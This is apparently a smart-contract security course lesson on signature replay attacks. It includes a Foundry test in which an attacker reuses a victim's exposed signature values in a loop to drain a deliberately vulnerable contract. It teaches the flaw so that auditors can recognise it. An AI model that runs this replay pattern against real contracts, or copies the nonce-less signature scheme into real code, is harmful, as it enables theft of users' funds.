_Follow along with the video lesson:_ --- ### Exploit - Signature Replay Minimized We need to talk about signature reply attacks, because they are painfully common in Web3. We've got a great hands-on, [**Remix example**](https://remix.ethereum.org/#url=https://github.com/Cyfrin/sc-exploits-minimized/blob/main/src/signature-replay/SignatureReplay.sol&lang=en&optimize=false&runs=200&evmVersion=null&version=soljson-v0.8.20+commit.a1b79de6.js) in our [**sc-exploits-minimized**](https://github.com/Cyfrin/sc-exploits-minimized) repo to assist you in better understanding this attack vector. If you want to play with it in Remix, you're encouraged to do so, but I find it easier to bring up the [**SignatureReplayTest.t.sol**](https://github.com/Cyfrin/sc-exploits-minimized/blob/main/test/unit/SignatureReplayTest.t.sol) file in the sc-exploits-minimized repo locally. ```js function test_signatureReplay() public { vm.startPrank(victim.addr); signatureReplay.deposit{value: startingAmount}(); // These 3 lines happen off chain bytes32 structHash = keccak256(abi.encode(signatureReplay.TYPEHASH(), withdrawAmount)); bytes32 digest = signatureReplay.getHashTypedDataV4(structHash); // This function will prepend the EIP-712 domain separator (uint8 v, bytes32 r, bytes32 s) = vm.sign(victim.key, digest); // Victim signs withdrawal of 1 ether, oh no! The signature is loose! // The V, R, and S values are live! signatureReplay.withdrawBySig(v, r, s, withdrawAmount); vm.stopPrank(); assertEq(address(signatureReplay).balance, startingAmount - withdrawAmount); assertEq(signatureReplay.balances(victim.addr), startingAmount - withdrawAmount); vm.startPrank(attacker); while (address(signatureReplay).balance >= 1 ether) { signatureReplay.withdrawBySig(v, r, s, withdrawAmount); } vm.stopPrank(); assertEq(address(signatureReplay).balance, 0); assertEq(signatureReplay.balances(victim.addr), 0); } ``` In this test, we have a victim depositing funds to a protocol and then signing a transaction with `vm.sign`. The victim then calls `withdrawBySig` which broadcasts the `v, r, and s` values of the victims signature for this message, on-chain. ```js signatureReplay.withdrawBySig(v, r, s, withdrawAmount); ``` From here, an attacker sees these values on-chain and decides to call the `withdrawBySig` function with them repeatedly until all funds are removed from the protocol. Granted, in this example the attacker isn't _stealing_ anything, you could see the potential exploits that could arise from this sort of vulnerability. In the next lesson, we'll write up a `PoC` to showcase exactly how this could be exploited within `Boss Bridge`. See you there!
Follow along with the video lesson:
We need to talk about signature reply attacks, because they are painfully common in Web3.
We've got a great hands-on, Remix example in our sc-exploits-minimized repo to assist you in better understanding this attack vector. If you want to play with it in Remix, you're encouraged to do so, but I find it easier to bring up the SignatureReplayTest.t.sol file in the sc-exploits-minimized repo locally.
In this test, we have a victim depositing funds to a protocol and then signing a transaction with vm.sign
. The victim then calls withdrawBySig
which broadcasts the v, r, and s
values of the victims signature for this message, on-chain.
From here, an attacker sees these values on-chain and decides to call the withdrawBySig
function with them repeatedly until all funds are removed from the protocol.
Granted, in this example the attacker isn't stealing anything, you could see the potential exploits that could arise from this sort of vulnerability.
In the next lesson, we'll write up a PoC
to showcase exactly how this could be exploited within Boss Bridge
. See you there!
Create a Signature Replay Attack using sc-exploits-minimized in Remix!
Previous lesson
Previous
Next lesson
Next
Give us feedback
Duration: 25min
Duration: 1h 18min
Duration: 35min
Duration: 2h 28min
Duration: 5h 03min
Duration: 5h 22min
Duration: 4h 33min
Duration: 2h 01min
Duration: 1h 40min